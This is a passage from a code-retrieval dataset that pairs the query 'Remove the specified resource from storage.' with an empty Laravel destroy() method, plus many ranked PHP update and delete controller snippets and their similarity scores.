'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Get the validation rules that apply to the request.
public function rules() { return [ 'name' => 'required|string|min:2|max:255', 'lastname' => 'required|string|min:2|max:255', 'email' => 'required|email', 'company_name' => 'nullable|string|min:2|max:255', 'company_job_title' => 'nullable|string|min:2|max:255', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function rules()\n {\n $commons = [\n\n ];\n return get_request_rules($this, $commons);\n }", "public function getRules()\n {\n return $this->validator->getRules();\n }", "public function getValidationRules()\n {\n $rules = [];\n\n // Get the schema\n $schema = $this->getSchema();\n\n return $schema->getRules($this);\n }", "public function rules()\n {\n return $this->validationRules;\n }", "public function rules()\n {\n $rules = [];\n switch ($this->getMethod()):\n case \"POST\":\n $rules = [\n 'course_id' => 'required|numeric',\n 'questions' => 'required|array',\n ];\n break;\n case \"PUT\":\n $rules = [\n 'id' => 'required|numeric',\n 'course_id' => 'required|numeric',\n 'questions' => 'required|array',\n ];\n break;\n case \"DELETE\":\n $rules = [\n 'id' => 'required|numeric'\n ];\n break;\n endswitch;\n return $rules;\n }", "public static function getRules()\n {\n return (new static)->getValidationRules();\n }", "public function getRules()\n {\n return $this->validation_rules;\n }", "public function getValidationRules()\n {\n return [];\n }", "public function getValidationRules() {\n return [\n 'email' => 'required|email',\n 'name' => 'required|min:3',\n 'password' => 'required',\n ];\n }", "public function rules()\n {\n if($this->isMethod('post')){\n return $this->post_rules();\n }\n if($this->isMethod('put')){\n return $this->put_rules();\n }\n }", "public function rules()\n {\n $rules = [];\n\n // Validation request for stripe keys for stripe if stripe status in active\n if($this->has('stripe_status')){\n $rules[\"api_key\"] = \"required\";\n $rules[\"api_secret\"] = \"required\";\n $rules[\"webhook_key\"] = \"required\";\n }\n\n if($this->has('razorpay_status')){\n $rules[\"razorpay_key\"] = \"required\";\n $rules[\"razorpay_secret\"] = \"required\";\n $rules[\"razorpay_webhook_secret\"] = \"required\";\n }\n\n // Validation request for paypal keys for paypal if paypal status in active\n if($this->has('paypal_status')){\n $rules[\"paypal_client_id\"] = \"required\";\n $rules[\"paypal_secret\"] = \"required\";\n $rules[\"paypal_mode\"] = \"required_if:paypal_status,on|in:sandbox,live\";\n }\n\n\n return $rules;\n }", "protected function getValidationRules()\n {\n $rules = [\n 'title' => 'required|min:3|max:255',\n ];\n\n return $rules;\n }", "public function getRules()\n\t{\n\t\t$rules['user_id'] = ['required', 'exists:' . app()->make(User::class)->getTable() . ',id'];\n\t\t$rules['org_id'] = ['required', 'exists:' . app()->make(Org::class)->getTable() . ',id'];\n\t\t$rules['role'] = ['required', 'string', 'in:' . implode(',', Static::ROLES)];\n\t\t$rules['scopes'] = ['nullable', 'array'];\n\t\t$rules['ended_at'] = ['nullable', 'date'];\n\t\t$rules['photo_url'] = ['nullable', 'string'];\n\n\t\treturn $rules;\n\t}", "public function rules()\n {\n switch ($this->method()) {\n case 'POST':\n return [\n 'username' => 'required|max:255',\n 'user_id' => 'required',\n 'mobile' => 'required|regex:/^1[34578][0-9]{9}$/',\n 'birthday' => 'required',\n 'cycle_id' => 'required',\n 'expired_at' => 'required',\n 'card_price' => 'required',\n ];\n case 'PUT':\n return [\n 'username' => 'required|max:255',\n 'user_id' => 'required',\n 'mobile' => 'required|regex:/^1[34578][0-9]{9}$/',\n 'birthday' => 'required',\n 'cycle_id' => 'required',\n 'expired_at' => 'required',\n 'card_price' => 'required',\n ];\n }\n }", "public function rules()\n {\n\n switch ($this->method()) {\n case 'GET':\n case 'POST':\n $rules = [\n 'name' => 'required|max:255',\n 'email' => 'required|email|max:255|unique:users',\n 'password' => 'required|min:6|confirmed',\n 'password_confirmation' => 'min:6|same:password',\n 'role_id' => 'required'\n ];\n break;\n case 'PUT':\n case 'PATCH':\n $rules = [\n 'name' => 'required|max:255',\n 'email' => 'required|email|max:255|unique:users,email,'.$this->id,\n ];\n break;\n\n default:\n $rules = [\n 'name' => 'required|max:255',\n 'email' => 'required|email|max:255|unique:users,email,'.$this->id,\n ];\n break;\n }\n return $rules;\n }", "public function rules()\n {\n return $this->rules;\n }", "public function rules()\n {\n return $this->rules;\n }", "public function rules()\n {\n return $this->rules;\n }", "public function rules()\n {\n return $this->rules;\n }", "public function rules()\n {\n return $this->rules;\n }", "public function rules()\n {\n return $this->rules;\n }", "public function rules()\n {\n switch($this->method()) {\n case 'GET':\n return [];\n case 'POST':\n return [\n 'name' => 'required|max:50',\n 'company' => 'required|max:100',\n 'position' => 'required|max:50',\n 'email' => 'required|email|max:150',\n 'phone' => 'required|max:25',\n 'description' => 'nullable|max:500',\n ];\n case 'PUT':\n case 'PATCH':\n return [\n 'name' => 'required|max:50',\n 'company' => 'required|max:100',\n 'position' => 'required|max:50',\n 'email' => 'required|email|max:150',\n 'phone' => 'required|max:25',\n 'description' => 'nullable|max:500',\n ];\n case 'DELETE':\n return [];\n default:break;\n }\n \n }", "public function rules($request) {\n $function = explode(\"@\", $request->route()[1]['uses'])[1];\n return $this->getRouteValidateRule($this->rules, $function);\n // // 获取请求验证的函数名\n // // ltrim(strstr($a,'@'),'@')\n // if (count(explode(\"@\", Request::route()->getActionName())) >= 2) {\n // $actionFunctionName = explode(\"@\", Request::route()->getActionName()) [1];\n // }\n\n // // 取配置并返回\n // if (isset($this->rules[$actionFunctionName])) {\n // if (is_array($this->rules[$actionFunctionName])) {\n // return $this->rules[$actionFunctionName];\n // }\n // else {\n // return $this->rules[$this->rules[$actionFunctionName]];\n // }\n // }\n // else {\n // return [];\n // }\n }", "function getValidationRules() {\n\t\treturn array(\n\t\t\t'_MovieID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_UserID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_CountryID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_BroadCastDate' => array(\n\t\t\t\t'dateTime' => array(),\n\t\t\t),\n\t\t\t'_CreatedDate' => array(\n\t\t\t\t'dateTime' => array(),\n\t\t\t),\n\t\t);\n\t}", "public function rules()\n {\n if ($this->method() === 'POST') {\n return $this->rulesForCreating();\n }\n\n return $this->rulesForUpdating();\n }", "public function rules()\n {\n $validation = [];\n if ($this->method() == \"POST\") {\n $validation = [\n 'name' => 'required|unique:users',\n 'email' => 'required|unique:users|email',\n 'password' => 'required|min:6|confirmed',\n 'password_confirmation' => 'required|min:6',\n 'roles' => 'required',\n ];\n } elseif ($this->method() == \"PUT\") {\n $validation = [\n 'name' => 'required|unique:users,name,' . $this->route()->parameter('id') . ',id',\n 'email' => 'required|unique:users,email,' . $this->route()->parameter('id') . ',id|email',\n 'roles' => 'required',\n ];\n\n if ($this->request->get('change_password') == true) {\n $validation['password'] = 'required|min:6|confirmed';\n $validation['password_confirmation'] = 'required|min:6';\n }\n }\n\n return $validation;\n }", "protected function getValidationRules()\n {\n $class = $this->model;\n\n return $class::$rules;\n }", "public function rules()\n {\n $data = $this->request->all();\n $rules['username'] = 'required|email';\n $rules['password'] = 'required'; \n\n return $rules;\n }", "public function rules()\n {\n $rules = $this->rules;\n\n $rules['fee'] = 'required|integer';\n $rules['phone'] = 'required|min:8|max:20';\n $rules['facebook'] = 'required|url';\n $rules['youtube'] = 'required|url';\n $rules['web'] = 'url';\n\n $rules['requestgender'] = 'required';\n $rules['serviceaddress'] = 'required|max:150';\n $rules['servicetime'] = 'required|max:150';\n $rules['language'] = 'required|max:150';\n $rules['bust'] = 'required|max:100|integer';\n $rules['waistline'] = 'required|max:100|integer';\n $rules['hips'] = 'required|max:100|integer';\n $rules['motto'] = 'max:50';\n\n return $rules;\n }", "protected function getValidRules()\n {\n return $this->validRules;\n }", "public function rules()\n {\n switch($this->method())\n {\n case 'GET':\n case 'DELETE':\n {\n return [];\n }\n case 'POST':\n case 'PUT':\n {\n return [\n 'name' => 'required',\n ];\n }\n default:break;\n }\n }", "public function rules()\n {\n switch ($this->method()) {\n case 'GET':\n case 'POST':\n {\n return [\n 'mobile' => ['required','max:11','min:11'],\n 'code' => ['required','max:6','min:6'],\n 'avatar' => ['required'],\n 'wx_oauth' => ['required'],\n 'password' => ['nullable','min:6','max:20']\n ];\n }\n case 'PUT':\n case 'PATCH':\n case 'DELETE':\n default: {\n return [];\n }\n }\n }", "public function rules()\n {\n switch ($this->getRequestMethod()) {\n case 'index':\n return [\n 'full_name' => 'nullable|string',\n 'phone' => 'nullable|string',\n ];\n break;\n case 'store':\n return [\n 'crm_resource_id' => 'required|exists:crm_resources,id',\n 'channel' => 'required|in:' . get_validate_in_string(CrmResourceCallLog::$channel),\n 'call_status' => 'required|in:' . 